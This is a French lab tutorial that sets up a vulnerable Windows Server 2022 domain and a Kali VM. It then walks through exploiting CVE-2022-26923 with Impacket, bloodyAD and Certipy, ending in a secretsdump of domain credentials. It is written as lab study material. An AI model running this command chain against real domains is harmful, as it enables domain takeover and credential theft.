
Exploitation de CVE-2022-26923
CVE-2022-26923 est une vulnérabilité dans les services de certificats Active Directory (AD CS) qui permet à un attaquant d'élever ses privilèges en abusant de l'authentification par certificat. Ce guide décrit les étapes pour exploiter cette vulnérabilité à l'aide d'Impacket et de Certipy.
| Machine virtuelle | Nom d'utilisateur | Mot de passe |
|---|---|---|
| Windows Server | Administrator | !@windowsadmintest101 |
| Windows Server | testuser | $Vulnerable139 |
| Kali-Linux VM | vagrant | vagrant |
Commencez par cloner le dépôt contenant les fichiers nécessaires :
git clone https://github.com/rayngnpc/CVE-2022-26923-rayng.git
cd CVE-2022-26923-rayng
Le dépôt contient deux dossiers, chacun avec un Vagrantfile pour provisionner des machines virtuelles. Vous devez installer Vagrant sur votre machine hôte avant de continuer.
Téléchargez et installez Vagrant depuis ici. Ou installez-le via PowerShell :
choco install vagrant
sudo apt update && sudo apt install vagrant -y
Accédez au répertoire WindowsServer2022 :
cd WindowsServer2022
vagrant up
Cette commande téléchargera et configurera la machine virtuelle Windows Server 2022 dans VirtualBox.
Accédez au répertoire Kali-LinuxVM :
cd Kali-LinuxVM
vagrant up
Étant donné que l'exploit nécessite un réseau NAT, configurez VirtualBox comme suit :
Avant d'exécuter la commande ci-dessous, assurez-vous que VBoxManage est ajouté à vos variables d'environnement. Sinon, exécutez la commande en utilisant son chemin complet :
VBoxManage natnetwork add --netname NatNet1 --network "10.0.2.0/24" --enable
Si VBoxManage n'est pas reconnu, utilisez :
"C:\Program Files\Oracle\VirtualBox\VBoxManage.exe" natnetwork add --netname NatNet1 --network "10.0.2.0/24" --enable
VBoxManage natnetwork add --netname NatNet1 --network "10.0.2.0/24" --enable
Assurez-vous de vérifier les deux machines virtuelles dans VirtualBox et qu'elles sont bien affectées à l'adaptateur réseau NatNetwork - NatNet1.
Avant de continuer, assurez-vous que Windows Server 2022 et la machine virtuelle Kali Linux sont allumés.
Accédez à la machine virtuelle Kali Linux pour démarrer l'attaque.
Mettez à jour votre fichier /etc/hosts pour mapper l'adresse IP du contrôleur de domaine :
sudo nano /etc/hosts
Ajoutez l'entrée suivante :
10.0.2.121 SERVER2022.pchau.domain.local SERVER2022 pchau-SERVER2022-CA pchau.domain.local
Enregistrez et quittez.
Accédez au répertoire CVE-26923 et activez l'environnement virtuel Python :
cd ~/CVE-26923
source ~/CVE-26923/rayng/bin/activate
À l'aide de l'utilitaire addcomputer d'Impacket :
impacket-addcomputer -computer-name 'PCTEST1' -computer-pass 'testuser' -dc-host 10.0.2.121 -domain-netbios pchau.domain.local pchau.domain.local/testuser:'$Vulnerable139'
ssh [email protected]
Get-ADComputer PCTEST1 -properties dnshostname,serviceprincipalname
Set-ADComputer PCTEST1 -DnsHostName SERVER2022.pchau.domain.local
Get-ADComputer PCTEST1 -properties dnshostname,serviceprincipalname
Vérifiez les ordinateurs du domaine :
impacket-GetADComputers pchau.domain.local/testuser:'$Vulnerable139' -dc-ip 10.0.2.121
Accédez au répertoire bloodyAD et utilisez bloodyAD.py pour ajouter PCTEST1 au domaine :
cd ~/CVE-26923/bloodyAD/
python3 bloodyAD.py -d pchau.domain.local -u testuser -p '$Vulnerable139' --host 10.0.2.121 set object PCTEST1$ dNSHostName -v 'SERVER2022.pchau.domain.local'
Vérifiez que PCTEST1 a bien été assigné au domaine :
impacket-GetADComputers pchau.domain.local/testuser:'$Vulnerable139' -dc-ip 10.0.2.121
Utilisez Certipy pour trouver des certificats vulnérables :
certipy find -dc-ip 10.0.2.121 -username 'PCTEST1$' -password 'testuser'
Demandez un certificat machine avec Certipy :
certipy req -dc-ip 10.0.2.121 -username 'PCTEST1$' -password 'testuser' -template Machine -ca pchau-SERVER2022-CA
Authentifiez-vous à l'aide du certificat obtenu :
certipy auth -pfx server2022.pfx
Après avoir exécuté la commande certipy auth, deux hashs seront affichés. Le hash de droite sera utilisé pour l'authentification NTLM.
Exemple de sortie de hash :
aad3b435b51404eeaad3b435b51404ee:69079fd4946af567d682d61e121f29e7
Utilisez le hash NTLM extrait pour extraire les identifiants :
impacket-secretsdump '[email protected]' -hashes :69079fd4946af567d682d61e121f29e7
Ceci conclut la chaîne d'attaque complète pour l'exploitation de CVE-2022-26923.